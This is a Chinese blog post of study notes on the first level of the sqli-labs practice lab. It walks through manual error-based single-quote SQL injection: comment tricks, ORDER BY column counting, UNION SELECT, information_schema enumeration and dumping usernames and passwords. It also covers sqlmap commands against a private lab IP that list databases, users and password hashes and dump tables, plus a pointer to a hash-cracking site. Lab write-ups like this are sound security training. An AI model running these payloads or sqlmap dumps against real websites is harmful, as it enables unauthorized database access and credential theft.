sql注入闯关笔记【Less-1】基于错误的GET单引号字符型注入

2023-05-16

云安全之sql注入(sqli-labs/Less-1)

文章目录

  • 云安全之sql注入(sqli-labs/Less-1)
  • 前言
  • 一、闯关
    • 一、测试注入点
    • 二、手工注入
    • 三、sqlmap注入
  • 二、总结
  • 三、思路与解惑


前言

   这学期学习云安全sql注入

—博客用于sqli闯关笔记—
参考内容:
https://cloud.tencent.com/developer/article/1906116

一、闯关

第一关
在这里插入图片描述

一、测试注入点

输入

?id =1 and 1=2  #发现没有验证真假命题,则会有注入漏洞
?id =1 ' #发现输入后报错,但是加注释恢复正常 ,因为注释会注释掉sql语句后边原先的’
#注释方式:作用:省略掉以后的语句,保留前面的
 # 号注释
%23 注释
--+ 注释(常用)

此时index.php的sql语法变为:(语句又合法了—)
select * from users where id=‘1’ --+’
在这里插入图片描述

?id=1 order by 100 #因为我知道只有3个column,但是此处居然不报错(后来发现调注释的时候--+写错了)

在这里插入图片描述

?id =1' --+ #成功恢复。则确认的确有注释漏洞

在这里插入图片描述

?id=1 ' order by 4 --+ #报错,则数据库的字段列只有3个column

在这里插入图片描述

二、手工注入

1.查看前端显示的是哪些字段

?id=-1'  union select 1,2,3  --+   #加'的原因是因为sql语句的’‘单引号冲突!

id=-1,一般没有id为-1的字段,输入后屏蔽掉原先的内容,然后联合搜索之后的1,2,3字段确定前端显示的是2,3字段
好的,猪狗大战正式开始,吃西瓜咯i
在这里插入图片描述
2.查看当前表的数据库和所在的系统mysql版本以及系统版本
常用查询信息
database() # 在用的数据库名
user() # 用户信息
version() # 数据库版本信息
@@basedir # 数据库安装路径
@@version_compile_os # 操作系统版本

在这里插入图片描述
3.通过information_schema查看对应数据库中有几个表
前言:mysql5.0以上的版本会自己带一个information_schema的数据库,里边存储了所有数据的名称,所有数据库的表,所有数据库的column和列名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名
#sql语法部分

SELECT * FROM admin_menu LIMIT 2 OFFSET 1; 说明:limit 个数,offset index索引

等于

SELECT * FROM admin_menu LIMIT 1,2;    说明:limit index索引,个数

其中:索引从0开始(^U^)ノ~YO

group_concat:合并数据,输出为一列
4.查一下security中的表单信息
在这里插入图片描述
UNION SELECT 1,group_concat(username SEPARATOR ‘-’),group_concat(password SEPARATOR ‘-’) FROM users --+
separator是指分割符
5.查询users表中数据(所有列的字段名)
在这里插入图片描述
6.找出想要的列数据从users表中展示出来即可
比如用户名和密码,嘿嘿在这里插入图片描述

三、sqlmap注入

1.获取默认数据,默认数据 -u 输入目标地址 --batch获取默认数据

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --batch

在这里插入图片描述
这里展示了一些基本信息
2.获取数据库(可以获取所有的) –dbs

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --dbs

在这里插入图片描述
3.但是,上边的数据库不是我们想要的web数据的信息,我们需要指定一下: –current-db

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --current-db

在这里插入图片描述
5.其余笔记:
a.列出所有sqlserver用户

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --users

b.列出当前web数据库的使用用户

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --current-user

c.探测数据库账号和密码

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' --passwords

d.列出数据库中的表

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security --tables

其中,-D : 指定数据库名称,–tables : 列出所有表
注意的点
B:Boolean-based-blind (布尔型注入)
U:Union query-based (联合注入)
E:Error-based (报错型注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
-–batch 默认选项运行
–dbs 爆破数据库
-–technique 指定sqlmap使用的检测技术
sqlmap -u “http://localhost/Less-1/?id=1” --dbs --batch --technique B

6.对表操作
所有表:(用5.d就行)
在这里插入图片描述
查询表中所有的列

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security -T users --columns 

-D : 数据库名称
-T : 所查表名
–columns : 查询所有列

在这里插入图片描述

7.暴字段内容(书上是这么说的,搞得很兴奋!!)

sqlmap -u 192.168.88.137/sqli-labs/Less-1/?id=1'' -D security -T users -C''id,username,password'' --dump

-D :数据库名称
-T : 所查表名
-C :所暴字段
–dump :将结果导出

在这里插入图片描述

如果字段数据太多的话可能需要太久,所以我们可以限制一下输入的行数
–start : 开始的行
–stop : 结束的行

在这里插入图片描述
8.最后需要解密的密码拿去密码网站解密即可
https://www.cmd5.com/

二、总结

sql手工注入是通过找到前端是输入漏洞,然后通过不断获取更多有关数据库的信息,进一步取获取数据,最终找到自己想要的东西
sqlmap注入则相对轻松,想要什么一行代码即可。
这是sql注入的第一道题,是开始、也是入门,所闻所见所想都会补充到其中,之后的笔记不会这么详细,智慧简略的根据步骤、思路做。

三、思路与解惑

为什么会用?id=1
我说实话不知道,但是我知道是要查id=1对应的字段的,这个sql注入点会注入到对应的数据库的表中所有就不需要有什么from哪个表了。
但,之后的联合查找需要!!!
并且,union select需要保证前后查找的字段数相同,所以,我们必须先通过order by找出正确的字段个数,这里是4,通过获取的字段验证前端显示的是哪几个字段。然后再取通过语法获取数据库名称,根据数据库名称去数据库information_schema获取 相应的表和相应表对应的列,然后一步步获取到自己想要的数据。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入闯关笔记【Less-1】基于错误的GET单引号字符型注入 的相关文章

  • Nginx+Tomcat 实现负载均衡、动静分离群集配置

    文章目录 一 Nginx 负载均衡实现原理二 Nginx 动静分离实现原理三 Nginx 43 Tomcat 动静分离 负载均衡配置步骤1 部署 Nginx 负载均衡服务器2 部署两台 Tomcat 应用服务器3 动静分离配置 一 Ngin
  • MySQL主从复制与读写分离报错与解决方案

    文章目录 报错一 xff1a java 的3306端口找不到报错二 xff1a 端口次数出现太多报错三 xff1a 在客户机中远程连接 amoeba服务器 代理访问mysql 时 xff0c 连接不上amoeba 当我在部署MySQL主从复
  • 超实用的ELK日志分析系统

    文章目录 前言 xff1a 一 ELK日志分析系统简介 xff08 一 xff09 日志服务器 xff08 二 xff09 ELK日志分析系统补充 xff1a xff08 三 xff09 日志处理步骤 xff08 四 xff09 Elast
  • 实用!!Openstack一键部署步骤

    文章目录 一 环境需求二 环境配置1 配置静态地址 主机名2 关闭 xff08 设置开机不启动 xff09 防火墙 核心防护 NetworkManager3 安装时间同步服务 同步阿里云时钟服务器 xff08 ntp1 ntp2 设置周期性
  • 自动化运维 ansible角色管理

    文章目录 一 Templates模块1 获取模板2 定义变量3 传入变量4 编写剧本 二 tags 模块1 编写tags标签剧本2 编写always标签剧本 三 role模块 xff08 一 xff09 roles内各目录含义解释 xff1
  • K8S之配置管理

    文章目录 一 Secret方式一 xff1a 方式二 xff1a 第一种 xff1a 使用secret中的变量导入到pod中第二种 xff1a 以volume的形式挂载到pod的某个目录下 二 ConfigMap创建方式一 xff1a ku
  • K8S之安全机制(角色授权)

    文章目录 一 安全机制 xff08 一 xff09 Service Account详解 xff08 二 xff09 apiserver使用的是token认证 二 第一模块 xff1a 认证 xff08 一 xff09 https证书认证 x
  • 使用kubeadm搭建K8S

    文章目录 一 环境准备二 master部署三 node节点 一 环境准备 master 192 168 195 180 node01 192 168 195 181 node02 192 168 195 182 1 xff1a 在所有节点上
  • winsock connect socket连接,报10061错误

    问题现象 xff1a 上位机去创建socket连接 xff0c 报10061错误 问题分析 xff1a 10061是server 拒绝了client的request xff0c 主要原因是a misconfigured server xff
  • 【踩坑专栏】lombok报错程序包org.slf4j不存在

    问题描述 xff1a 在Pom中引入了依赖 xff0c idea中也有lombok的插件 xff0c 之前使用lombok的 64 Slf4j注解没有问题 xff0c 最近在某一个项目中 xff0c 在编译时突然报错程序包org slf4j
  • Ubuntu1804_server 离线安装GCC_7.5

    本文利用一个比较简单方便的方法为Ubuntu1804 server的服务器离线安装GCC 7 5 之前写过一篇关于离线安装软件的文章 xff0c 有兴趣的同学请移步Ubuntu18 04 离线安装nginx 可是如果生产服务器有大量需要离线
  • 关于Java之IO流音乐拼接小项目

    需求 xff1a 做一个音乐串烧 分析 xff1a 1 有n个音乐 xff0c 找到高潮部分 xff0c 2 获取高潮部分的流对象 3 把这部分对象保存成一个mp3 4 把它们拼接起来 以下为源码供大家分享 xff1a 方法一 xff1a
  • 192.168.和10.0.开头的IP、内网IP段、IP简介、分类

    IP地址分为五大类 xff1a A类 B类 C类 D类和E类 xff0c 如下图所示 xff1a 在这五类IP地址中 xff0c 我们最常使用的是A类 B类和C类地址 在这三类地址中 xff0c 绝大多数的IP地址都是公有地址 xff0c
  • 牛客网. 跳跃游戏-II

    题目概述 解题思路 我开始想到的做法是贪心 首先维护两个指针i和cur xff0c i用于顺序遍历 xff0c cur用来指向上一次可以跳到的最远的位置 维护一个一维数组 xff0c 用来记录跳到每个位置需要的最短步数 然后考虑当前能跳到的
  • OpenEuler 20.03 LTS yum 安装redis后systemctl启动异常

    前言 通过命令yum install redis xff0c 安装redis后 xff0c 通过systemctl启动报如下错误 xff1a span class token punctuation span root 64 ecs e50
  • python ahttp:简单、高效、异步requests请求模块

    ahttp xff1a 简单 高效 异步requests请求模块 ahttp 是一个所有的http连接请求均使用协程的方式 使请求过程中 IO 操作交给其他硬件 xff0c 而CPU专注于处理计算型任务 xff0c 可以大量的节约等待的时间
  • uniapp 页面跳转出现闪屏、短暂白屏的解决办法

    在项目pages json里设置页面的背景色和页面中page或container的背景色一致即可解决这个问题 34 path 34 34 pages ecosystem index 34 34 style 34 34 navigationB
  • softmock-基于mitmproxy实现系统性管理maplocal

    softmock 介绍 softmock 是一个拦截 http https 到本地的工具 请求拦截到本地之后 xff0c 可以进行修改 新增等操作 xff0c 使下次请求直接返回到本地的数据 而不依赖远程服务器 softmock 是从 抓包
  • django设置samesite

    较新版本的chrome会因samesite策略而禁止跨域的cookie 解决方法在项目中的setting py设置 xff1a SESSION COOKIE SAMESITE span class token operator 61 spa
  • 使用python构造一个微信聊天机器人

    申请一个图灵的APIKEY http www tuling123 com python3环境下安装wxpy pip install wxpy linux下还需安装pillow pip install pillow 然后执行以下代码 xff1

随机推荐

  • aiohttp 简易使用教程

    0 前言 本文翻译自aiohttp的官方文档 xff0c 如有纰漏 xff0c 欢迎指出 aiohttp分为服务器端和客户端 xff0c 本文只介绍客户端 由于上下文的缘故 xff0c 请求代码必须在一个异步的函数中进行 xff1a asy
  • Zabbix 5.4 Server安装

    系统 xff1a ubuntu 1804 xff08 1804 server zabbix 5 4 mysql 5 7 x1f4d3 UTF 8是Zabbix支持的唯一编码 它可以正常工作而没有任何安全漏洞 用户应注意 xff0c 如果使用
  • vue基本格式

    MVVM模式 vue的基本步骤 数据绑定 v model name 数据渲染 xff0c 双向绑定
  • Activity中使用onNewIntent方法避免多次实例化同一个Activity

    最近写的项目中有一个搜索 搜索结果 搜索这样一个循环的过程 xff0c 发现了几个问题 xff1a 1 循环导致多次实例化这两个类 xff1b 解决方案 xff1a 在Manifest里面对应activity下面设置启动模式为singleT
  • Linux 无密码自动登录

    GNOME环境 etc gdm3 custom conf文件 xff0c 修改其中的AutomaticLoginEnable xff0c AutomaticLogin项 xff0c 具体如下所示 xff1a Configure Automa
  • FileItem类

    文件上传时需要用到FileItem类 xff0c FileItem是一个接口 xff0c 它的实现类是DiskFileItem 如图为FileItem 接口中定义的方法 xff1a 1 getInputStream xff1a 以流的形式返
  • mysql数据表中文乱码解决办法

    在往 mysql 数据库中插入数据的时候出现数据 汉字 乱码情况 xff1a 在把数据库 xff0c 数据表的编码改为UTF 8后 xff0c 还是乱码 Mysql 的默认编码方式是 Latin1 xff0c 不支持中文 xff0c 因此
  • Spring xml配置文件头解析

    Spring文档中默认的XML文件格式 xff1a lt xml version 61 34 1 0 34 encoding 61 34 UTF 8 34 gt lt beans xmlns 61 34 http www springfra
  • SpringMVC请求静态资源异常

    问题描述 xff1a 使用 REST 风格的资源URL时 xff0c SpringMVC请求静态资源 图片 js等 发生异常 优雅的 REST 风格的资源URL 不希望带 html 或 do 等后缀 若将 DispatcherServlet
  • web项目异常A web application registered the JBDC driver [com.mysql.jdbc.Driver] but failed to unregister

    异常 xff1a A web application registered the JBDC driver com mysql jdbc Driver but failed to unregister it when the web app
  • @Controller和@RestController的区别?

    64 Controller和 64 RestController的区别 xff1f 官方文档 xff1a 64 RestController is a stereotype annotation that combines 64 Respo
  • get方式传值中文乱码

    如下情况 xff1a lt a id 61 span class hljs string 34 bookname 34 span title 61 span class hljs string 34 span class hljs vari
  • Zabbix 5.4 server安装后的相关操作

    通过前面的安装 xff0c 相信大家已经能够正常登录zabbix server的管理页面了 在进行正式的使用之前 xff0c 建议大家最好把下面这个管理页面中左侧的操作树中的每一项功能都打开看看 xff0c 这样心中对zabbix serv
  • Maven搭建的SSM项目中遇到的问题

    Maven搭建的SSM项目中遇到的问题 1 EL表达式失效 2 装配异常Unable to configure ssm 解决办法 其实这两个问题的出现都是因为servlet版本和java版本不合适造成的 xff0c EL表达式在servle
  • Java小工具Lombok的安装与使用

    1 Lombok简介 Lombok是一个代码生成器 xff0c 可以通过简单的注解形式来帮助我们简化消除一些必须有但显得很臃肿的Java代码的工具 xff0c 通过使用对应的注解 xff0c 可以在编译源码的时候生成对应的方法 使用 lom
  • 日常记录(1)

    数据库连接池Druid Alibaba github地址 xff1a https github com alibaba druidBlog xff1a http blog csdn net pk490525 article details
  • vnc 设置自定义分辨率

    1 vnc设置分辨率 vncserver geometry 1600x900即可 xff0c 之后通过window下vnc连接后的ubuntu分辨率即为1600x900了 注意这里的X是小写的x而不是 2 但是 xff0c 登录后 xff0
  • 解决Vcenter Client启动Fault Tolerance辅助虚拟机被禁用保护的问题

    解决FT辅助虚拟机被禁用的问题 项目场景 xff1a 学习虚拟机中问题描述 xff1a 辅助虚拟机被禁用原因分析 xff1a 解决方案与结论 项目场景 xff1a 学习虚拟机中 最近这个学期在学习虚拟化技术 xff0c 由于课程是新开的 x
  • kali的重复登录与vnc灰屏

    云安全 xff08 二 xff09 VNC连接的一些小问题 文章目录 云安全 xff08 二 xff09 VNC连接的一些小问题 前言 xff1a 问题重现一 解决灰屏问题二 普通用户循环登录1 原因2 解决方法 三 原因分析四 总结五 项
  • sql注入闯关笔记【Less-1】基于错误的GET单引号字符型注入

    云安全之sql注入 xff08 sqli labs Less 1 文章目录 云安全之sql注入 xff08 sqli labs Less 1 前言一 闯关一 测试注入点二 手工注入三 sqlmap注入 二 总结三 思路与解惑 前言 这学期学